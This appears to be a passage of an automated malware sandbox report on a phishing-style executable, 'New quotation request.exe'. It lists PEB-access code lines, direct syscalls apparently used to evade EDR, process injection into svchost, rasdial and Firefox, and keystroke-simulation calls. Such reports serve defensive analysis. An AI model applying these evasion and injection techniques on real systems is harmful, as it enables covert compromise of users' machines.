                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03850BCB mov eax, dword ptr fs:[00000030h]1_2_03850BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03850BCB mov eax, dword ptr fs:[00000030h]1_2_03850BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830BCD mov eax, dword ptr fs:[00000030h]1_2_03830BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830BCD mov eax, dword ptr fs:[00000030h]1_2_03830BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830BCD mov eax, dword ptr fs:[00000030h]1_2_03830BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DEBD0 mov eax, dword ptr fs:[00000030h]1_2_038DEBD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838BF0 mov eax, dword ptr fs:[00000030h]1_2_03838BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838BF0 mov eax, dword ptr fs:[00000030h]1_2_03838BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838BF0 mov eax, dword ptr fs:[00000030h]1_2_03838BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385EBFC mov eax, dword ptr fs:[00000030h]1_2_0385EBFC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BCBF0 mov eax, dword ptr fs:[00000030h]1_2_038BCBF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904B00 mov eax, dword ptr fs:[00000030h]1_2_03904B00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385EB20 mov eax, dword ptr fs:[00000030h]1_2_0385EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385EB20 mov eax, dword ptr fs:[00000030h]1_2_0385EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F8B28 mov eax, dword ptr fs:[00000030h]1_2_038F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F8B28 mov eax, dword ptr fs:[00000030h]1_2_038F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E4B4B mov eax, dword ptr fs:[00000030h]1_2_038E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E4B4B mov eax, dword ptr fs:[00000030h]1_2_038E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]1_2_03902B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]1_2_03902B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]1_2_03902B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]1_2_03902B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C6B40 mov eax, dword ptr fs:[00000030h]1_2_038C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C6B40 mov eax, dword ptr fs:[00000030h]1_2_038C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FAB40 mov eax, dword ptr fs:[00000030h]1_2_038FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D8B42 mov eax, dword ptr fs:[00000030h]1_2_038D8B42
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828B50 mov eax, dword ptr fs:[00000030h]1_2_03828B50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DEB50 mov eax, dword ptr fs:[00000030h]1_2_038DEB50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382CB7E mov eax, dword ptr fs:[00000030h]1_2_0382CB7E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904A80 mov eax, dword ptr fs:[00000030h]1_2_03904A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03868A90 mov edx, dword ptr fs:[00000030h]1_2_03868A90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838AA0 mov eax, dword ptr fs:[00000030h]1_2_03838AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838AA0 mov eax, dword ptr fs:[00000030h]1_2_03838AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03886AA4 mov eax, dword ptr fs:[00000030h]1_2_03886AA4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03886ACC mov eax, dword ptr fs:[00000030h]1_2_03886ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03886ACC mov eax, dword ptr fs:[00000030h]1_2_03886ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03886ACC mov eax, dword ptr fs:[00000030h]1_2_03886ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830AD0 mov eax, dword ptr fs:[00000030h]1_2_03830AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03864AD0 mov eax, dword ptr fs:[00000030h]1_2_03864AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03864AD0 mov eax, dword ptr fs:[00000030h]1_2_03864AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386AAEE mov eax, dword ptr fs:[00000030h]1_2_0386AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386AAEE mov eax, dword ptr fs:[00000030h]1_2_0386AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BCA11 mov eax, dword ptr fs:[00000030h]1_2_038BCA11
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386CA24 mov eax, dword ptr fs:[00000030h]1_2_0386CA24
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385EA2E mov eax, dword ptr fs:[00000030h]1_2_0385EA2E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03854A35 mov eax, dword ptr fs:[00000030h]1_2_03854A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03854A35 mov eax, dword ptr fs:[00000030h]1_2_03854A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840A5B mov eax, dword ptr fs:[00000030h]1_2_03840A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840A5B mov eax, dword ptr fs:[00000030h]1_2_03840A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386CA6F mov eax, dword ptr fs:[00000030h]1_2_0386CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386CA6F mov eax, dword ptr fs:[00000030h]1_2_0386CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386CA6F mov eax, dword ptr fs:[00000030h]1_2_0386CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DEA60 mov eax, dword ptr fs:[00000030h]1_2_038DEA60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038ACA72 mov eax, dword ptr fs:[00000030h]1_2_038ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038ACA72 mov eax, dword ptr fs:[00000030h]1_2_038ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038309AD mov eax, dword ptr fs:[00000030h]1_2_038309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038309AD mov eax, dword ptr fs:[00000030h]1_2_038309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B89B3 mov esi, dword ptr fs:[00000030h]1_2_038B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B89B3 mov eax, dword ptr fs:[00000030h]1_2_038B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B89B3 mov eax, dword ptr fs:[00000030h]1_2_038B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C69C0 mov eax, dword ptr fs:[00000030h]1_2_038C69C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038649D0 mov eax, dword ptr fs:[00000030h]1_2_038649D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FA9D3 mov eax, dword ptr fs:[00000030h]1_2_038FA9D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BE9E0 mov eax, dword ptr fs:[00000030h]1_2_038BE9E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038629F9 mov eax, dword ptr fs:[00000030h]1_2_038629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038629F9 mov eax, dword ptr fs:[00000030h]1_2_038629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE908 mov eax, dword ptr fs:[00000030h]1_2_038AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE908 mov eax, dword ptr fs:[00000030h]1_2_038AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC912 mov eax, dword ptr fs:[00000030h]1_2_038BC912
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828918 mov eax, dword ptr fs:[00000030h]1_2_03828918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828918 mov eax, dword ptr fs:[00000030h]1_2_03828918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B892A mov eax, dword ptr fs:[00000030h]1_2_038B892A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C892B mov eax, dword ptr fs:[00000030h]1_2_038C892B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B0946 mov eax, dword ptr fs:[00000030h]1_2_038B0946
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904940 mov eax, dword ptr fs:[00000030h]1_2_03904940
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03856962 mov eax, dword ptr fs:[00000030h]1_2_03856962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03856962 mov eax, dword ptr fs:[00000030h]1_2_03856962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03856962 mov eax, dword ptr fs:[00000030h]1_2_03856962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387096E mov eax, dword ptr fs:[00000030h]1_2_0387096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387096E mov edx, dword ptr fs:[00000030h]1_2_0387096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387096E mov eax, dword ptr fs:[00000030h]1_2_0387096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D4978 mov eax, dword ptr fs:[00000030h]1_2_038D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D4978 mov eax, dword ptr fs:[00000030h]1_2_038D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC97C mov eax, dword ptr fs:[00000030h]1_2_038BC97C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830887 mov eax, dword ptr fs:[00000030h]1_2_03830887
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC89D mov eax, dword ptr fs:[00000030h]1_2_038BC89D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E8C0 mov eax, dword ptr fs:[00000030h]1_2_0385E8C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039008C0 mov eax, dword ptr fs:[00000030h]1_2_039008C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FA8E4 mov eax, dword ptr fs:[00000030h]1_2_038FA8E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C8F9 mov eax, dword ptr fs:[00000030h]1_2_0386C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C8F9 mov eax, dword ptr fs:[00000030h]1_2_0386C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC810 mov eax, dword ptr fs:[00000030h]1_2_038BC810
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852835 mov eax, dword ptr fs:[00000030h]1_2_03852835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852835 mov eax, dword ptr fs:[00000030h]1_2_03852835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852835 mov eax, dword ptr fs:[00000030h]1_2_03852835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852835 mov ecx, dword ptr fs:[00000030h]1_2_03852835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852835 mov eax, dword ptr fs:[00000030h]1_2_03852835
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003080A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,0_2_003080A9
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002DA124 SetUnhandledExceptionFilter,0_2_002DA124
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002DA155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_002DA155

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtWriteVirtualMemory: Direct from: 0x76F0490CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtAllocateVirtualMemory: Direct from: 0x76F03C9CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtClose: Direct from: 0x76F02B6C
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtReadVirtualMemory: Direct from: 0x76F02E8CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtCreateKey: Direct from: 0x76F02C6CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtSetInformationThread: Direct from: 0x76F02B4CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtQueryAttributesFile: Direct from: 0x76F02E6CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtAllocateVirtualMemory: Direct from: 0x76F048ECJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtQuerySystemInformation: Direct from: 0x76F048CCJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtQueryVolumeInformationFile: Direct from: 0x76F02F2CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtOpenSection: Direct from: 0x76F02E0CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtSetInformationThread: Direct from: 0x76EF63F9Jump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtDeviceIoControlFile: Direct from: 0x76F02AECJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtAllocateVirtualMemory: Direct from: 0x76F02BECJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtCreateFile: Direct from: 0x76F02FECJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtOpenFile: Direct from: 0x76F02DCCJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtQueryInformationToken: Direct from: 0x76F02CACJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtTerminateThread: Direct from: 0x76F02FCCJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtProtectVirtualMemory: Direct from: 0x76EF7B2EJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtOpenKeyEx: Direct from: 0x76F02B9CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtProtectVirtualMemory: Direct from: 0x76F02F9CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtSetInformationProcess: Direct from: 0x76F02C5CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtNotifyChangeKey: Direct from: 0x76F03C2CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtCreateMutant: Direct from: 0x76F035CCJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtWriteVirtualMemory: Direct from: 0x76F02E3CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtMapViewOfSection: Direct from: 0x76F02D1CJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtResumeThread: Direct from: 0x76F036ACJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtAllocateVirtualMemory: Direct from: 0x76F02BFCJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtReadFile: Direct from: 0x76F02ADCJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtQuerySystemInformation: Direct from: 0x76F02DFCJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtDelayExecution: Direct from: 0x76F02DDCJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtQueryInformationProcess: Direct from: 0x76F02C26Jump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtResumeThread: Direct from: 0x76F02FBCJump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeNtCreateUserProcess: Direct from: 0x76F0371CJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\New quotation request.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\rasdial.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: NULL target: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: NULL target: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\rasdial.exeThread register set: target process: 3684Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Windows\SysWOW64\rasdial.exeThread APC queued: target process: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\New quotation request.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2C0D008Jump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_003087B1 LogonUserW,0_2_003087B1
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002B3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_002B3B3A
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002B48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_002B48D7
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00314C27 mouse_event,0_2_00314C27
